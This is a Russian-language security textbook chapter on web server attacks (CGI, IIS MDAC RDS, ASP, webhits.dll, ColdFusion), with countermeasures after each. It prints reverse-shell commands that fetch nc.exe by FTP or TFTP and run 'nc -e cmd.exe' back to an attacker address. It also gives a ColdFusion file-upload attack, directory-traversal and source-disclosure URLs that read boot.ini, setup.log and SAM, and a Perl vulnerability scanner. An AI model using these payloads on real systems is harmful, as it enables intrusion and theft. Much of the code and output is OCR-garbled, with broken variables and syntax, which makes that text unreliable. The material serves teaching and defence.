Уязвимость в WEB
Тысячи компаний осознали, что всемирная паутина Web является мощным средством распространения информации, расширения торговли, улучшения качества обслуживания и поддержки постоянного контакта с заказчиками и клиентами. И хотя большинство организаций для защиты своих интересов и вложений предусмотрительно использует фильтрующие маршрутизаторы, брандмауэры и системы выявления вторжений, когда речь заходит об изъянах Web, многие из этих мер предосторожности могут оказаться бесполезными. Почему? Большинство из обсуждаемых в этой главе атак реализуется через порты Web (80, 81, 443, 8000, 8001, 8080 и т.д.). Хотя их не так много, обычно они открывают доступ в сегмент сети, доступный из Internet. Некоторые читатели, дочитавшие главу до конца, удивятся, узнав, каким грозным орудием может оказаться Web-броузер в руках взломщика.
Конечно же, в некоторых случаях для уменьшения риска можно предпринять определенные действия, но большинство брешей в системе зашиты можно закрыть лишь с помощью качественного программирования, соблюдения строгой логики программ и управления потоками данных. Все эти меры должны сопровождаться ежедневным мониторингом систем, что обычно требует огромных усилий и скрупулезности. Как всегда, по возможности будут предлагаться контрмеры, которые следует предпринять для предотвращения каждой из описанных атак. Сначала речь пойдет о самых простых методах, а затем и о более сложных.
Воровство в Web
В главе 1 описан предварительный сбор данных, позволяющий получить максимально полную информацию об отдельном узле или обо всей сети в целом. Воровство в Web преследует практически ту же цель. В поисках информации взломщики вручную просматривают Web-страницы, стараясь найти недостатки в коде, зацепки в комментариях и дизайне. В этом разделе приведено несколько способов такого сбора информации о Web-сервере. В число этих методов входит последовательный просмотр страниц вручную, применение сценариев автоматизации и коммерческих программ.
Последовательный просмотр страниц
Один из давно известных способов получения данных заключался в прохождении всего Web-узла вручную, просматривая в броузере исходный код каждой страницы. В документах HTML можно найти огромное количество информации, включая ценные комментарии, адресованные другим разработчикам, адреса электронной почты, номера телефонов, программы JavaScript и многое другое. Например, задав в броузере адрес какого-нибудь сервера и выбрав команду View^Page Source, можно увидеть исходный код HTML (рис. 15.1).
Рис. 15.1. Исходный код HTML может содержать много важной информации. Зачастую в нем содержится структура каталогов, номера телефонов, имена и адреса электронной почты разработчиков Web-страниц
Упрощай!
К крупным Web-узлам (содержащим более 30 страниц) большинство взломщиков применяют автоматизированный подход, используя специальные сценарии или утилиты. Сценарии можно писать на различных языках, однако авторы отдают предпочтение языку Perl. С помощью несложных программ на этом языке можно перемещаться по Web-серверу, осуществляя поиск определенных ключевых слов.
Для копирования данных такого типа разработано также несколько коммерческих программ как для системы UNIX, так и для NT. Наиболее популярной является утилита Teleport Pro для NT, разработанная компанией Tennyson Maxwell Information Systems
(http://www.tenmax.com), диалоговое окно которой показано на рис. 15.2. Эта программа позволяет отобразить целый Web-узел на локальный компьютер для дальнейшего ознакомления.
Для более подробного анализа файлов, удовлетворяющих критерию поиска, можно загрузить их локально. Например, если нужно найти Web-страницы, которые содержат определенные ключевые слова (пусть даже в исходном коде HTML), такие как email, contact, user*, pass*, updated и так далее, то это можно осуществить с помощью утилиты Teleport Pro. При этом поиск по любому из этих слов можно вести только в файлах определенного типа, например *.htm. *.html, *.shtm, *.shtml, *.txt. '.cfm и т.д. На следующем рисунке показано, как в программе Teleport Pro задать тип файлов, в которых следует осуществлять поиск.
Рис. 15.2. Программа Tclepon для системы NT
Эта программа позволяет задавать также слова, которые необходимо найти.
Как только нужные Web-страницы будут скопированы на локальный компьютер, взломщик сможет приступить к их исследованию. При этом он будет изучать каждую страницу HTML, каждый графический файл, панель управления и встроенные сценарии, стараясь разобраться с архитектурой исследуемого Web-узла. Эти сведения впоследствии могут оказаться очень полезными.
Контрмеры против воровства в Web
1. Регулярно анализируйте содержимое журналов регистрации и следите за повышением количества запросов GET, поступающих из одного и того же источника.
2. Используйте сценарий garbage.cgi, выдающий нескончаемый поток случайных данных в том случае, если какая-нибудь автоматическая программа начнет исследование узла и будет запускать сценарии CGI. Конечно, с помощью утилиты Teleport Pro эту проблему можно обойти, но взломщикам по крайней мере придется хорошо потрудиться.
Поиск известных изъянов
Как всегда, особое внимание следует уделять очевидным брешам в системе защиты. Это необходимо в основном потому, что и хакеры обращают на них внимание в первую очередь. Несколько разрушительных изъянов Web существует до сих пор, хотя о них стало широко известно еще несколько лет назад. Отличительной особенностью атак этого типа является то, что многие из них легко обнаружить.
Сценарии автоматизации, применяемые новичками
В данный момент как никогда уместна фраза "Пусть друзья будут рядом, а враги —
еще ближе". Используемые в основном начинающими взломщиками, сканирующие сценарии (чаще всего написанные известными хакерами) зачастую могут помочь в обнаружении некоторых известных изъянов. Многие средства поиска таких брешей можно найти на Web-узле компании Technotronic
(www.technotronic.com).
Phfscan.c
Изъян PHF (более подробно описанный ниже) был одной из первых применяемых для взлома брешей в сценариях Web-серверов. Этот изъян позволяет взломщику локально запускать любую команду, как если бы он был пользователем Web-сервера. Часто это приводит к тому, что файл паролей /etc/passwd оказывается загруженным на компьютер взломщика. В выявлении такого изъяна как администратору, так и хакеру, может помочь несколько программ и сценариев. Программа pfhscan.c является одной из наиболее популярных. Перед использованием ее нужно откомпилировать (gcc phfscan.c -о phfscan), подготовить список узлов, которые нужно просканировать (для создания такого списка подойдет утилита gping), назвать файл со сгенерированным списком host.phf и поместить его в один каталог с программой. После запуска двоичного файла (phfscan) программа начнет выдавать предупреждения о найденных уязвимых серверах.
cgiscan.c
cgiscan — это удобная небольшая утилита, созданная в 1998 году Бронком Бастером (Bronc Buster). Она предназначена для сканирования узлов и поиска среди них тех, которые подвержены старым изъянам, таким как PHF, count, cgi, test-cgi, PHP, handler, webdist.cgi, nph-test-cgi и многих других. Программа осуществляет поиск уязвимых сценариев в тех каталогах, где они обычно находятся, и пытается ими воспользоваться. Результат работы утилиты выглядит примерно следующим образом.
[root@funbox-b ch!4]# cgiscan www.somedomain.com
New web server hole and info scanner for
elite kode kiddies coded by Bronc
Buster of LcF - :iov 1998 updated Jan 1999
Getting HTTP version
Version:
HTTP/1.1 200 OK
Date: Fri, 16 Jul 1999 05:20:25 GMT
Server: Apache/1.3.6 (UNIX) secured_by_ Raveri/1. 4 . 1
Last-Modified: Thu, 24 Jun 1999 22:25:11 GMT
ETag: "17d007-2a9c-3772bC47"
Accept-Ranges: bytes
Content-Length: 10908
Connection: close
Content-Type: text/html
Searching for phf :.. No:.E'our.rf..
Searching for Count.cgi :..Not Found.
Searching for test-cgi :..Nc:Found..
Searching for php.cgi :..Nov.Found.
Searching for handler :..NotFound..
Searching for webgais :..Not Found..
Searching for websendmail:..Not Found..
Searching for webdist.cgi:..Not Found..
Searching for faxsurvey:..Not Found..
Searching for htmlscript:..Not Found..
Searching for pfdisplay:..Not Found..
Searching for perl.exe:..Not Found..
Searching for wwwboard.pl:. Not Found..
Searching for www-sql:..Not Found..
Searching for service.pwd:..Not Found..
Searching for users.pwd:..Not Found..
Searching for aglimpse:..Not Found..
Searching for man.sh :..Not Found..
Searching for view-source:..Not Found..
Searching for campas :..Not Found..
Searching for nph-test-cgi :..Not Found..
[gH] - aka gLoBaL hElL - are lame kode kiddies
Приложения автоматизации
В Internet можно найти несколько приложений, предназначенных для автоматизированного поиска хорошо известных изъянов или тех из них, которые становятся доступными при использовании в процессе установки программного обеспечения параметров, предлагаемых по умолчанию. В отличие от сценариев, эти средства используются вручную. Это не позволяет использовать их в больших корпоративных сетях, зато они успешно применяются в малых сетях и на серверах, на которые нужно обратить более пристальное внимание.
Grinder
Программа Grinder версии 1.1 (http://hackersclub.com/km/files/hfiles/
rhino9/grinderll .zip), поддерживает интерфейс Win32 и позволяет сканировать IP-адреса из заданного диапазона. Результатом ее работы является отчет, в котором содержится название и версия Web-сервера. Это ничем не отличается от применения обычной команды HEAD (например, утилиты netcat), однако в процессе сканирования программой Grinder создается несколько параллельных сокетов, поэтому она работает намного быстрее. На рис. 15.3 показано, как Grinder выполняет сканирование и определяет версии Web-серверов.
Другим средством определения версий Web-серверов являются сканирующие сценарии для системы
UNIX. Если в файле портов указан порт 80, то команда HEAD будет передана на Web-сервер по умолчанию, в
результате чего в ответном сообщении будет содержаться название и номер версии запущенного программного обеспечения. Эта информация будет помещена в файл <UMX>/<UMX>.http.d\mip. Для того чтобы начать процесс сканирования, можно воспользоваться следующим синтаксисом.
./unixscan.pl hosts.txt ports.txt test -p -z -г -v
Рис. 15.3. Программа Grinder может оказаться полезной при одновременном поиске многих Web-серверов и определении версий применяемого программного обеспечения
После завершения работы сканера будет создан файл, содержащий отчет о версии Web-сервера.
172.29.11.82 port 80: Server: Microsoft-IIS/4.0
172.29.11.83 port 80: Server: Microsoft-IIS/3.0
172.29.11.84 port 80: Server: Microsoft-IIS/4.0
SiteScan
Программа' SiteScan, написанная Хамелеоном (Chameleon) из групп Rhino9 и InterCore, позволяет выполнить более глубокое исследование, чем Grinder, проверяя наличие таких определенных изъянов, как PHF, PHP, finger, test.cgi и другие. Это графическое приложение Win32 за один раз может исследовать только один IP-адрес, поэтому ее нельзя включать в сценарии. Придется каждый раз вручную вводить IP-адрес и просматривать полученный результат.
Несоответствие сценариев требованиям безопасности: взлом при отсутствии проверки ввода
Причиной взлома при отсутствии проверки ввода с использованием общего интерфейса шлюза (CGI — Common Gateway Interface), активных страниц сервера (ASP — Active Server Pages) и языка разметки CFML (Cold Fusion Markup Language), является промах либо разработчика, либо поставщика программного обеспечения. Основная проблема возникает из-за недостаточной обработки входных данных некоторого сценария. Если не позаботиться о проверке достоверности и последующей очистке входных данных, взломщик сможет передать сценарию нужный символ, скажем, локальную команду, в качестве параметра и таким образом локально запустить эту команду на Web-сервере.
Изъян MDAC RDS IIS 4.0
Вскоре после того, как компания Microsoft справилась с проблемой, вызванной программой iishack, работа которой приводила к переполнению буфера сервера IIS (это произошло в июне 1999 года), в июле ей пришлось столкнуться с другой проблемой, связанной с Web-сервером. Данная проблема была описана в бюллетене компании Microsoft, посвященном вопросам безопасности, еще в 1998 году, но стала известна широкой общественности лишь в последнее время. Этот изъян возникает из-за недостатка одного из компонентов Microsoft доступа к данным (MDAC — Microsoft Data Access Components) службы RDS (Remote Data Service), который позволяет взломщику запускать любые команды на уязвимом сервере.
Первопричина проблемы заключается в объекте DataFactory службы RDS. По умолчанию он позволяет передавать удаленные команды серверу I1S. В этом случае команды запускаются с правами эффективного пользователя этой службы, которым обычно является пользователь SYSTEM (внутренний пользователь, обладающий привилегиями администратора). Это означает, что взломщик может получить удаленный доступ с правами администратора к любому серверу в мире', у которого имеется такой изъян.
Для проверки этой концепции компания Rain.forest.puppy разработала свой сценарий на языке Perl (его можно загрузить с Web-узла компании Security Focus
http://vww.securityfocus.com), посылающий запрос RDS в базу данных, которая служит в качестве образца и называется btcustmr.mdb. Целью запроса является запуск на сервере команды, вводимой пользователем.
Поиск уязвимых серверов в сети представляется простой задачей. Посмотрим, как можно обнаружить компоненты MDAC службы RDS. С помощью утилиты netcat и языка Perl можно просканировать подсети в поисках признаков уязвимого сервера — наличия динамически подключаемой библиотеки msadcs.dll. Если в результате обработки HTML-запроса будет получена строка appiication/x-varg, значит, высока вероятность того (хотя и не на 100%), что данная система уязвима. Ниже для примера приведен код на языке Perl, с помощью которого можно обнаружить данный изъян.
#!/usr/bin/perl
if ($|ARGV < 0) {
print "Ошибка в синтаксиме - попробуйте eщe pas.";
print ": mdac.pl 10.1.2.3-255";}
doit($ARGV[0]); foreach $item (@hosts)
{ portscan($item); }
close OUTFILE;
sub doit { $line = $_[0];
if ($line!=/#/) {
if ($line=~/-/) {
Stmp = split/-/, $line;
Ship = split//, $tmp[0];
@eip = split//, $tmp[lj;
} else
{
@bip = split//, $line;
@eip = split//, $line; }
$al = $bip[0];
$bl = $bip[l];
$cl = $bip[2];
$dl = $bip[3];
Snum = @eip; if ($num==l)
{ $a2 = $bip[0]
$b2 = $bip[l]
$c2 = $bip[2]
$d2 = $eip[0]
} elsif
($num==2)
{$a2 = $bip[0]
$b2 = $bip[l]
$c2 = $eip[0]
$d2 = $eip[l] }
elsif
($num==3)
{
$a2 = $bip[0]
$b2 = $eip[0]
$c2 = $eip[l]
$d2 = $eip[2]
} elsif
($num== )
{
$a2 = $eip[0]
$b2 '-= $eip[l]
$c2 = $eip[2]
$d2 = $eip[3] }
# Ha базк IP-адреса подсети (класс A, B, C)задаем
# корректные значения переменных.
check_end(); $aend=$a2;
# Создание массива.
while
($al < $aend)
( while ($bl < $bend)
{ while ($cl < $cend)
{ while ($dl < Sdend) {
push (@hosts, "$al.$bl.$cl.$dl">;
$dl+=l;
check_end();
}
$cl+=l;
$dl=0;
}
$bl+=l;
$cl=0;
}
$al+=l; $bl=0; } } }
sub portscan ( my $target = $_[0];
print "Сканируется порт $target."; local $/;
open(SCAN,"nc -vzn -w 2 $target 80 2»
&1I");
# Порт открыт
$result = <SCAN>;
if ($result=~/open/)
{
print "\tПорт 80 Ha $target открыт . \n";
print OUTFILE "порт 80 открыт\n";
open (HTTP, ">http.tmp");
print HTTP "GET /msadc/msadcs.dll HTTP/1.0\n\n";
close HTTP;
open(SCAN2, "type http.tmp I nc -nvv -w 2 $target 80 2>&1 I");
$result2 = <SCAN2>;
if (Sresult2=~/Microsoft-IIS4.07)
{
if ($result2=~/x-varg/){
print "
$target уязвима против атаки MDAC.";
print OUTFILE "$target
может быть уязвима против атаки &MDAC.";
}
}
close SCAN;
}
}
sub check_end
{
if (($al==$a2) &S ($bl==$b2) &
s ($cl==$c2)) {
$dend=$d2; }
else {
$dend=255; }
if (($al==$a2) &&
($bl==$b2)) {
$cend=$c2; }
else {
$cend=255; }
if ($al= =$a2)
{
$bend=$b2; - }
else {
$bend=255;
}
}
"Анатомия" атаки
Сценарий Perl можно найти на многих Web-узлах, в том числе в архиве NTBugtraq (http://www.ntbugtraq.com) или на узле компании Security Focus (http://www.securityfocus.com). Он работает одинаково эффективно как в системе UNIX, так и в NT, и предпринимает попытку установить связь с компонентами MDAC, чтобы добавить в запрос SQL строку | shell ($command) |. Когда компонент MDAC достигает команды shell, выполняется команда, заданная в переменной $ command. Для того чтобы убедиться в наличии описанной возможности, попробуйте запустить команду со следующим синтаксисом.
C:\>perl mdac_exploit.pl -h 192.168.50.11
-- RDS exploit by rain forest puppy/ADM/Wiretrip--
Command: <run your command here>
Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: Success!
"cd SystemRoot £& echo $ftp_user>ftptmp
&& echo $ftp_pass»ftptmp
&& echo bin»ftptmp &&
echo get nc. exe»ftptmp
&£ echo bye»ftptmp &£
ftp -s:ftptmp $ftp_ip &&
del ftptmp &&
attrib -r nc.exe && nc
-e cmd.exe $my_ip $my_port"
"cd\%SystemRoot\%
&&tftp-i $tftp_ip GET nc.exe nc.exe &S
attrib
-r nc.exe && nc -e cmd.exe $my_ip $my_port"
Контрмеры: защита компонентов МDАС службы RDS
Для того чтобы предотвратить такие атаки, либо удалите все файлы, используемые в этом случае, либо измените конфигурационные параметры сервера.
Изъяны CGI
По-видимому, после переполнения буфера плохо написанные сценарии CGI являются наиболее опасными изъянами в Internet. В электронном мире еще можно найти Web-серверы, разработчики которых экономили время на программировании, а после того, как взломщик пробрался на сервер и навел там свои порядки, пожалели о своей спешке. В этом разделе описано несколько наиболее популярных изъянов сценариев CGI, а также последствия, к которым приводит их использование.
Сценарии PHF
Возможно, одним из наиболее старых и в наши дни редко встречающихся изъянов является сценарий PHF, который изначально применялся на серверах HTTPD центра NCSA (версия 1.5А-Export или более ранние) и сервера Apache (версии 1.0.3). Эта программа CGI является примером сценария, обеспечивающего интерфейс в виде форм, который можно использовать для поиска имен и адресов в адресной книге. Из-за того что в этом сценарии для проверки входных данных используется функция escape_shell_cmd(), он оказывается уязвимым для широко распространенной атаки, при которой обманным путем удается локально запускать команды. Символ новой строки (0х0а в шестнадцатеричной системе счисления) не проверяется при контроле правильности входных данных. Поэтому он может быть использован для прерывания выполнения сценария и запуска любой команды, указанной после этого символа, в локальном контексте Web-сервера. Например, введение следующего адреса URL приведет к извлечению файла паролей, если пользователь, запустивший Web-сервер, обладает правами доступа к этому файлу.
Контрмеры: защита сценариев РНР
Предотвращение
Лучше всего удалите этот сценарий с Web-сервера. Скорее всего, на рабочем сервере такой сценарий не требуется.
Обнаружение
Средства обнаружения атак, направленных на использование изъяна PHF, встроены почти в каждую бесплатную или коммерческую систему выявления вторжений, так что в этом случае решить проблему безопасности будет несложно.
С помощью программы phfprobe.pl можно привлечь взломщиков к своему Web-узлу и зафиксировать выполняемые ими действия. В процессе анализа полученных данных можно лучше продумать стратегию защиты. Данная программа Perl служит в качестве приманки, имитирующей сценарий PHF. Она отправляет взломщикам такие ответные сообщения, как будто предпринимаемые ими действия выполняются успешно. На самом же деле осуществляется сбор информации о взломщиках и их тактике. Эту ловушку следует применять только при полной уверенности в надежности системы.
Изъяны CGI системы Irix
Первое сообщение об изъяне CGI системы Irix появилось в 1997 году в бюллетене Bugtraq. Новость опубликовал Разван Драгомиреску (Razvan Dragomirescu). Он обнаружил, что в состав подсистемы Outbox Environment многих систем Irix входит несколько программ, уязвимых для взлома при отсутствии проверки ввода. Сценарий webdist.cgi, а также сценарии-оболочки систем Irix 5.x и 6.x позволяют взломщикам передавать локальные команды и запускать их на удаленном узле.
Контрмеры против использования изъянов CGI систем Irix
Как и раньше, если сценарий не применяется, лучше всего удалить его из системы и тем самым предотвратить возможность использования его изъянов. Если же удалить сценарий невозможно, воспользуйтесь модулем обновления SGI, который можно найти по адресу
http://www.sgi.com/support/patch_intro.html.
test-cgi
Впервые об этом изъяне широкой общественности сообщила группа
L0pht в 1996 году. С его использованием взломщик может удаленно получать информацию о файлах, которые имеются на целевом узле. Например, используя следующий URL, взломщик может просмотреть список всех файлов и каталогов, которые содержатся в каталоге сценариев (egi -bin).
http://192.168.51.101/cgi-bin/test-cgi?*
В результате на экран будет выведено значение переменной окружения QUERY_STRING.
QUERY_STRING = count.cgi createuser.pl nph-test-cgi phf php.cgi
search.pl
test-cgi wwwcount.cgi
Контрмеры против использования изъянов ССI
Если обычное решение проблемы (удаление сценария) по каким-либо причинам реализовать нельзя, стоит обратиться к некоторым ресурсам Internet, в которых можно найти советы по безопасному написанию сценариев.
Уязвимость активных страниц сервера
Активные страницы сервера (ASP — Active Server Pages) представляют собой разработку компании Microsoft, аналогичную сценариям Perl и интерфейсу CG1 системы UNIX. Обычно написанный на языке VBScript, код ASP выполняет многое из того, что необходимо для поддержки состояния, обеспечения доступа к серверной части базы данных и отображения кода HTML в окне броузера. Одной из приятных особенностей страниц ASP является то, что они могут "на лету" генерировать страницы HTML. Другой малоприятной особенностью являются многочисленные изъяны страниц ASP, позволяющие взломщику просматривать их исходный код. Почему это плохо? Во-первых, потому, что взломщик, изучая логику программы, может обнаружить и другие изъяны. Во-вторых, он может найти в этих файлах такую важную информацию, как база данных имен и паролей пользователей.
Ошибка ASP, связанная с интерпретацией точки
Один из членов группы LOpht в 1997 году обнаружил ошибку, которая возникает, если одну или несколько точек поставить после адреса URL страницы ASP сервера IIS 3.0. При этом можно просмотреть исходный код ASP и проанализировать логику этой программы. Еще важнее то, что в данном файле можно найти такую важную информацию, как имена и пароли пользователей. Чтобы воспользоваться этой возможностью, нужно просто добавить точку после
URL.
Контрмеры
Хорошая новость заключается в том, что компания Microsoft выпустила модуль обновления для сервера IIS 3.0.
Однако имеется и плохая новость: выпушенный модуль обновления породил другой изъян. Замена в имени файла example, asp точки на ее шестнадцатеричное представление (0х2е) по-прежнему позволяет взломщику загрузить на свой компьютер файл с исходным кодом
ASP.
Уязвимость ASP, связанная с альтернативными потоками данных
Впервые об этом изъяне в бюллетене Bugtraq сообщил Пауль Эштон (Paul Ashton). В данном случае также можно загрузить исходный код страниц ASP. Этой возможностью легко воспользоваться, поэтому она стала довольно популярна среди новичков. Просто задайте URL в следующем формате.
http://192.168.51.101/scripts/file.asp::$DATA
Если метод сработал, броузер Netscape попросит указать место, в котором нужно сохранить файл. Броузер Internet Explorer по умолчанию покажет исходный файл в диалоговом окне. После этого его можно сохранить и просматривать в любом текстовом редакторе.
Контрмеры
Для усиления защиты ограничьте доступ ко всем исходным файлам, отменив право на чтение для группы Everyone. В конце концов, для исходного код вполне достаточно разрешения на выполнение.
Изъяны showcode. asp и codebrws. asp
Рассмотрим еще один изъян, имеющий отношение к IIS 4.0, который связан с возможностью просмотра исходного кода ASP. Его отличие от рассмотренных выше ошибок заключается в том. что сам по себе этот изъян не является ошибкой, а представляет собой пример плохого программирования. Если в процессе установки сервера IIS 4.0 будут скопированы также файлы с примерами исходного кода ASP, то несколько плохо написанных файлов позволят взломщику загрузить на свой компьютер другие файлы. Проблема заключается в неспособности сценариев обрабатывать символы .., содержащиеся в пути к файлу. В следующем примере использование файла showcode.asp приведет к отображению файла boot.ini взламываемой системы (если доступ ограничен незначительно, то просмотреть можно любой файл).
http: //192.168. 51.101/msadc/Samples/
SELECTOR/showcode. asp?source=/../../../../../boot.ini
http://192.168.51.101/iissamples/exair/howitworks/
codebrws.asp?source=/../../../../../winnt/repair/setup.log
Изъяны showcode.asp и codebrws.asp невозможно использовать для корректной загрузки с целевого узла двоичных файлов. Причина заключается в том, что сценарий ASP обычно преобразовывает файлы. Преобразование такого файла, как SAM._, приведет к его повреждению и сделает его непригодным для использования. Однако это не помешает умелому хакеру восстановить структуру файла SAM и воспользоваться полученной информацией.
Контрмеры против использования изъянов в файлах АSР
Рассмотренные выше проблемы можно решить, установив модуль обновления сервера IIS. Этот модуль, а также статью Q232449 из базы знаний компании Microsoft, можно найти по адресу ftp://ftp.microsoft.com/ bussys/IIS/iis-public/ fixes/usa/Viewcode-fix/.
Изъян webhits.dll
Ряд проблем, связанных с возможностью просмотра файлов, был выявлен группой CIS (Cerberus Information Security). Эти изъяны связаны с приложением ISAPI webhits.dll. Эта динамически подключаемая библиотека реализует механизм выделения информации в процессе функционирования MS Index Server. Однако ее наличие делает возможным взлом, при котором злоумышленник просматривает важные исходные коды ASP или другую информацию, содержащуюся на локальном диске. Первая из возможных атак начинается с использования существующего файла . HTW для просмотра исходного кода.
Вторая атака связана с передачей системе имени несуществующего файла. В качестве основы используется существующий файл и символы пробела (%20), число которых превышает 230, и которые расположены между именем реального файла (default.asp) и расширением . HTW. При этом информационные службы Internet игнорируют расширение (.HTW) и предоставляют в распоряжение взломщика любой файл системы:
http://192.168.51.101/default.asp%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%2С%20%20%20 %20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%2 0%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%2С%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%2 0%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%
20%20%20%20%20%20
.htw?CiWebHitsFile=/../../../../../test.
txt&CiR estriction=none&CiHiliteType=Full
http://192.168.51.10I/null.htw?CiWebHitsFile=/../../../../../winnt/
repair/setup.log&CiRestriction=none&CiHiliteType=Full
Контрмеры против использования изъянов библиотеки webhits.dll
Для предотвращения использования рассмотренных атак удалите приложения, связанные с файлами с расширением . HTW. Для этого откройте диалоговое окно с основными свойствами уязвимого сервера, а затем для службы WWW Service щелкните на кнопке Edit. Далее перейдите во вкладку Home Directory и щелкните на кнопке Configuration из группы Application Settings. При этом на экране появится следующее диалоговое окно.
Затем выделите строку, в которой указано приложение, связанное с файлами . HTW, и щелкните на кнопке Remove. После этого Web-сервер больше не будет обращаться к библиотеке webhits .dll, и, таким образом, этот изъян будет устранен.
Изъяны сервера ColdFusion
Специалистами группы LOpht было обнаружено несколько существенных изъянов в сервере приложений Cold Fusion, позволяющих осуществлять удаленный запуск команд на уязвимом Web-сервере. В процессе установки этого программного продукта вместе с ним копируются также примеры кода и интерактивная документация. Причиной обнаруженных изъянов послужили несколько примеров, взаимодействие которых не ограничивается только локальным узлом.
Первая из проблем связана с устанавливаемым по умолчанию файлом opnfile.cfm. Этот файл позволяет взломщику загрузить на Web-сервер любой файл. Другой файл, displayopenedfile.cfm, помещает этот файл в окно броузера. Кроме того, exprcalc.cfm анализирует загруженный файл и удаляет его (во всяком случае, он для этого предназначен). Используя только файл openfile.cfm, можно ввести систему в заблуждение, чтобы она не удаляла загруженный файл, а затем выполнить локально любую команду. Чтобы воспользоваться этой возможностью, выполните следующие действия.
1. Создайте файл, который при загрузке на удаленный Web-сервер приведет к выполнению локальной команды. Например, можно воспользоваться следующим сценарием Perl с именем test.pl.
systemC'tftp -i 192.168.51.100 GET nc.exe");
system("nc-e cmd.exe 192.168.51.100 3000");
2. Задайте в броузере следующий адрес URL.
http://192.168.51.101/cfdocs/expeval/openfile.cfm
3. Укажите в поле Open File путь к созданному файлу и щелкните на кнопке ОК.
4. В адресе URL замените строку D:\INETPUB\WWWROOT\cfdocs\expeval\test.pl на полное имя файла exprcalc.cfm (с указанием пути), предназначенного для удаления загруженных в систему файлов. После внесения изменений URL должен выглядеть следующим образом.
http://192.168.51.101/cfdoce/expeval/ExprCalc.cfra?RequestTimeout=
2000&OpenFilePath-D:\lNETPOB\WWWROOT\cfdocs\expeval\exprcalc.cfm
6. Проделав еще раз описанные действия, загрузите повторно файл test.pl на удаленную систему. После этого данный файл (test.pl) будет ожидать вызова.
7. С помощью следующего URL запустите файл test.pl. http://192.168.51.101/cfdocs/expeval/test.pl
8. Если перед этим были запущены сервер TFTP и утилита netcat, то должно появиться следующее приглашение (т.е. командная строка, позволяющая выполнять команды с правами администратора).
С:\>пс -1 -р 3000
Microsoft(R) Windows NT(TM)
(С) Copyright 1985-1996 Microsoft Corp.
D:\INETPUB\WWWROOT\cfdocs>
Контрмеры против использования изъянов сервера Cold Fusion
Для того чтобы предотвратить возможность использования изъянов Cold Fusion, можно воспользоваться двумя способами:
Удалите все уязвимые сценарии.
Примените к файлу exprcalc.cfm модуль обновления, который можно найти по адресу
http://wwwl.allaire.com/handlers/index.cfm?ID=8727&Method=Full.